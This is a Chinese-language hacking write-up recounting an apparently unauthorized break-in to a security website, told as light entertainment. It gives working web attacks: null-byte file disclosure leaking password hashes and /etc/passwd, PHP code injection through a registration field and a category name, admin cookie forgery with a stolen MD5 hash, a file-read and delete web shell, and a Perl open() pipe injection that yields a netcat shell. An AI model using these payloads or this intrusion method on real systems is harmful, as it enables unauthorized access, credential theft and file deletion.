剑走偏锋之灵巧的脚本注入方式

　　武学之中， 出其不意、剑走偏锋才能发挥灵巧之长。在防火墙广泛地应用于网络之间执行访问控制策略的今天，以往被漠视的CGI安全悄然兴起，形形色色的脚本攻击在防火墙的“认同”下大行其道，看似简单的脚本实质上处处暗藏玄机。本文真实再现利用脚本缺陷善意侵入target的全过程，试图让您得到一点乐趣和启示。

　　Target.ORG(target网络安全小组)是国内较为知名的黑客/安全站点，偶然间，我们开始了对她的安全测试。

　　没有任何迟疑，我们直接从WEB下手。据了解：target整站程序由站主NetHero编写。基于代码规模和复杂度方面的考虑，我们把目光集中到了网站论坛。我们习惯首先查看用户信息，因为用户名和用户密码总是紧贴着保存在一起，在这里我们更容易接近我们渴求的信息。提交如下URL

　　查看NetHero用户信息：

　　http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=./nethero

　　出错提示：论坛系统出现问题！

　　http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=nethero%00

　　返回用户信息的“发贴数量”出现了一个莫名其妙的字符串，其他的一部分信息也全乱了

　　看来这里有点问题，这个字符串到底是怎么回事？我们用以前申请的ID登陆上去后，看到每个URL的QUERY_STRING后面都有一个名为key的变量，而且其值和上述的字符串有些相似。难道这个是密码？我们接连登陆几次后，观察到这个key值每次都不一样，看来这个key是用来识别我们在论坛的身份，应该与用户密码没有直接关系...还是先不管这个key值了，继续用我们的ID做实验，提交了这个URL

　　出来的还是跟先前类似的字符串，这个时候我们大胆猜测这个字符串是我们的密码，通过验证，我们发现这的确是把我们密码经过标准DES加密后得到的字符串。这证明了我们的猜测是正确的，这个字符串中就是加密过后的用户密码。但为什么密码会溜出来？于是我们接着推测：在用户数据目录里面肯定有两个保存每个用户信息的文件，一个里面保存有密码，而另一个没有，只有一些一般的信息，如邮箱，生日之类的。这两个文件应该一个是username，另一个是username.xxx（加了一个后缀）。

　　userinfo.pl这个程序使用open函数打开文件的时候没有对user这个变量过滤完全，至少没有过滤掉 \0，这使得试图打开username.xxx文件的时候实质上打开的并不是username.xxx而是username。打开文件的代码可能是这样写的open(F,"$path/$username.xxx")；所以当user=abcdef%00的时候相当于open(F，"$path/abcdef");而这个文件里正是保存用户密码的那个文件，所以部分用户信息变量直接到该文件中错误地取值，之后再反馈输出给用户，这样密码就出来了。惬意...我们随即找出了站长nethero的密码，暴力破解的念头一闪而过后，我们看还能不能进一步突破这个目录，于是提交

　　密码档文件出来了，看来这里有搞头，继续

　　受页面输出格式限制，我们只能查看到/etc目录中一部分文件和目录；于是试着打开一些文件，但也只能查看到文件的一些很小的片段，几乎没什么用，连续查看了很多文件过后，都没有新的突破，我们有点失望了。于是我们暂时把这个BUG放在一边，看看还有没有其他文件存在缺陷，继续找一些CGI程序如display.pl，show.pl等，都没有发现可以突破的地方，因为这些文件都做了一些过滤，看来这条路走不通了。

　　既然CGI方面不能突破，那就只有另想路子了。

　　我们拿着那个userinfo.pl到处查看一些片段文件和目录，首先搜寻apache的配置文件，最后在/usr/local/etc/apache目录下找到了httpd.conf ，但还是只能查看文件头几行，这些根本没什么用。又跑到/home目录下看了看，嗯，有好多用户，比先前查看/etc/passwd里面的用户多多了，因为查看/etc/passwd的时候只能看到头几行，随便进了一个用户tomy的目录，咦，见到了目录/public_html，看来系统有可能给每个用户分配了发布个人主页的空间，有意思， 看在浏览器里面能不能访问到

　　呵，看到这家伙的个人主页了，再看看里面有什么东西，这时我们意外地发现了一个/phpmyadmin目录，立刻访问，发现竟然没有密码验证。现在的我们相当于得到了一个Mysql的用户，我们试图通过phpmyadmin往数据库里写东西，内容是一个小的phpshell，然后导出到主页目录里，忙活了半天，终于全写进去了，但往硬盘上写的时候却发现没有权限写，一阵郁闷袭来...

　　继续查看了几个用户的目录，大部分都没有发布更多的东西，只有些静态的页面。经过一番努力后，我们终于找到了冤大头--shuaishuai(帅帅)这个用户，转到他发布的主页上看看，哈，发现了这个

　　好家伙，看看能不能跳转目录

　　返回了下面这些东西给我们

　　Warning: is_file() [function.is-file]: SAFE MODE Restriction in effect. The script whose uid is 1007 is not allowed to access

　　./data//../../../../../../etc/passwd owned by uid 0 in /usr/home/shuaishuai/public_html/show.php on line 77

　　失败，但并不是不能跳转，只是没有权限而已。那好，我们再试着看看能不能查看有权限的文件

　　呵呵，成功了，看到了post.php这个文件的源代码，太棒了，我们就把这个做为突破口。但这个只能查看shuaishuai这个用户的文件，不能查看到其他文件，而且只是能查看文件似乎还不够，我们希望得到一个shell，这看起来似乎比较困难。还是另看看其他，其实shuaishuai的主页上东西蛮多的，还有一个留言板，是X-pad.这个留言板可以让用户注册后留言，每个注册用户在/User目录下面都有一个配置文件，保留了用户的一些信息，在查看注册文件源代码后我们发现它并没有过滤完全，至少有一个变量可以使我们可以插入我们的代码。于是我们申请了一个用户在HOMEPAGE这个字段插入了我们的代码，使我们的用户配置文件看起来像这样：

　　以下是代码片段：

　　<?

$User_Psw = "1234";

$User_QQ = "";

$User_EMail = "";

$User_Homepage = "http://\";copy($a，$b);unlink($a);#";

$User_Avatar = "Styles/Avatars/blank.gif";

$User_BBSMode = "0";

?>　　$User_Psw = "1234";

　　$User_QQ = "";

　　$User_EMail = "";

　　$User_Homepage = "http://\";copy($a，$b);unlink($a);#";

　　$User_Avatar = "Styles/Avatars/blank.gif";

　　$User_BBSMode = "0";

　　>

　　上面这个php文件使我们可以上传文件到指定目录和删除有权限删除的文件.但在执行过程中却发现不行，为什么？原来没有看清楚

　　$User_Homepage = "http://\";copy($a，$b);unlink($a);#";

　　这一行中我们提交的"(引号)前面被自动插入了\，使得它不是php语句中的双引号(")，而是变量中的(") 。即$User_Homepage变量值为 “http://\";copy($a，$b);unlink($a);#” 整个字符串，并没有起到预期的作用。看来 magic_quotes_gpc = on，再告失败。

　　没有气馁，我们继续耐心地查找其他可以利用的东西，马上我们又发现了http://www.target.org/~shuaishuai/down_sys/这么个下载系统.经过查看目录和查看下载系统的源文件(因为我们有权限查看这个目录里的文件)，在down_sys/data/user/目录下面发现了管理员的用户文件，里

　　面包含了密码，但令人头痛的是管理员密码是经过md5加密的。此时我们没有轻易放弃这个经加密的密码，我们即刻查看管理员验证的代码，在/down_sys/admin/global.php这个文件中发现了其验证方式包含cookie验证，相关代码如下：

　　以下是代码片段：

　　......

　　if (isset($password)) $password=md5($password);

　　if (empty($username)) $username=$HTTP_COOKIE_VARS[’bymid’];

　　if (empty($password)) $password=$HTTP_COOKIE_VARS[’bympwd’];

　　if(!checkpass($username，$password)) {

　　admintitle();

　　adminlogin();

　　exit;

　　}

　　......

　　摘要：武学之中， 出其不意、剑走偏锋才能发挥灵巧之长。在防火墙广泛地应用于网络之间执行访问控制策略的今天，以往被漠视的CGI安全悄然兴起，形形色色的脚本攻击在防火墙的“认同”下大行其道.....

　　标签：脚本 缺陷 攻击

　　完全可以进行一次cookie欺骗。我们这里使用的是一种比较烦琐的方法：先断开网络，将我们的IP改为target.org的IP，然后在%systemroot%\system32\drivers\etc\hosts文件里把www.target.org这个域名指向target.org的IP，做这一步是为了我们在断开网络的时候能够成功的将www.target.org解析成它的IP.最后在我们的IIS里面自已建一个虚拟目录/~shuaishuai/down_sys/admin/写一个asp文件，把cookie设置为管理员的用户名和加过密的密码，asp文件内容如下：

　　以下是代码片段：

　　<%

response.cookies("bymid")="adminuser"

response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a"

%>　　response.cookies("bymid")="adminuser"

　　response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a"

　　%>

　　然后访问这个asp文件

　　留着这个窗口，把IP改回为原来的192.168.0.1，接着用这个窗口请求

　　管理界面出来了，通过了验证。接着我们来上传文件...可下面的事让我们气恼了好久，竟然没有上传文件的功能，Fiant，是一个没开发完全的半成品，彻底失望了吗？ 不，我们依然有信心，接着查看一下其他的文件，看看能不能对配置文件动点手脚，我们找到了一个class.php，里面保存的是下载系统的一些软件分类信息，内容看起来像这样：

　　5|安全工具|1028372222

　　8|红客工具|1034038173

　　7|其它软件|1034202097

　　....

　　我们试着往里面写东西，于是在管理页面新添加一个主分类，分类的名称为"<?copy ($a，$b);unlink($a);?>"，提交过后class.php变成了这样

　　5|安全工具|1028372222

　　8|红客工具|1034038173

　　7|其它软件|1034202097

　　9|<?copy($a，$b);unlink($a);?>|1054035604

　　这个php文件可以让我们上传文件到有权限目录和删除有权限删除的文件。于是我们在本地写了一个表单，上传一个phpshell上去，然后访问

　　GOOD，返回了phpshell的界面...一阵高兴过后，我们才发现这个phpshell什么命令都不能执行，原来网站PHP打开了safe_mode功能，限制我们执行命令。但我们已经有了很大的突破了，可以向服务器上传文件了。接下来我们利用PHP丰富的内置函数写了很多小脚本上传测试，很不幸，系统利用 disable_functions 禁止了大部分的文件系统函数、目录函数...好在并没有赶尽杀绝，最后我们写了下面一个php程序来查看一些有权限查看的目录和文件:

　　以下是代码片段：

　　<?

$c = $HTTP_GET_VARS["c"];

$f = $HTTP_GET_VARS["f"];

if($c=="file") {

$file=readfile($f);

echo $file;

}

if($c=="dir") {

$h=opendir($f);

while($file=readdir($h)) {

echo "$file\n";

}

}

if($c=="del") {

unlink($f);

}

?>　　$c = $HTTP_GET_VARS["c"];

　　$f = $HTTP_GET_VARS["f"];

　　if($c=="file") {

　　$file=readfile($f);

　　echo $file;

　　}

　　if($c=="dir") {

　　$h=opendir($f);

　　while($file=readdir($h)) {

　　echo "$file\n";

　　}

　　}

　　if($c=="del") {

　　unlink($f);

　　}

　　>

　　在做了很多尝试过后，我们发现在PHP上不能获得新的突破，好在我们可以利用上面那个php程序来查看www.target.org/cgi-bin/club/scripts/目录中程序脚本的完整的代码，于是我们决定改向回到起点、查看CGI文件，由于没有权限向可执行CGI程序的目录里写文件， 新写一个CGI程序来执行命令是不现实的，所以决定利用现有的.pl程序来插入命令，目标自然是放在perl的open函数上，于是我们开始查找哪些程序用了open函数，但找了好多.pl文件，都没有发现，但却看到有好多readfile()函数，记得perl里面是没有这个函数的，但这里却用了很多readfile()，为什么呢？这肯定是他们自已定义的一个函数，我们看到每一个.pl文件前几行都有一个use Club;原来这里有个模块，于是查看Club.pm，很快便发现了open函数.

　　以下是代码片段：

　　sub readkey {

　　my($file)=@_;

　　unless(open(FH，"$file")) {

　　errmsg("对不起！你超时了，请<a href=\"$login_page\" target=\"_parent\">重新登陆</a>");

　　exit;

　　}

　　unless(flock(FH，LOCK_SH)) {

　　errmsg("Can’t Lock File: $file");

　　}

　　my $data = <FH>;

　　close(FH);

　　return $data;

　　}

　　这就是那个自定义的readfile函数，证实了我们的猜想，而且也找到了一个符合要求的open函数，接着搜寻哪个文件调用了这个函数，很快我们在change_pw.pl这个程序里找到了这个函数调用，这个程序用来修改用户的密码，不幸的是代码在判断用户旧密码是否正确前就调用了 readkey() 函数：

　　my $key_info=readkey("$key_dir/$key");

　　于是提交

　　>bbb%20|

　　再查看一下

　　Yeah！成功执行了...出现了我们期望的结果，这真是太妙了，可以利用这个来执行命令，就相当于得到了一个shell。但这样办事毕竟不方便，不能及时地查看我们的运行结果。因此我们又上传了一个文件、编译、执行，然后

　　D:\temp>nc -vv www.target.org12345

　　www.target.org[211.161.57.29] 12345 (?) open

　　id

　　uid=80(www) gid=80(www) groups=80(www)

　　uname -a

　　FreeBSD ns8.target.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr 2 07:01:40 CST 2003

　　哦，是FreeBSD 4.8-RELEASE，版本很高，提升权限比较困难，我们找了好久都没有找到有效的local exploit，提升权限失败，只好作罢。

　　到这里，我们的hacking基本上结束了。虽然没拿到root，但至少拿到了网站WEB权限，对于我们CGI安全爱好者来说，应该算是完成了本职工作吧-)。之后我们迅速与站主联系，提醒他网站存在安全隐患，但站主并没有向我们询问细节，他自己通过分析日志修复了漏洞。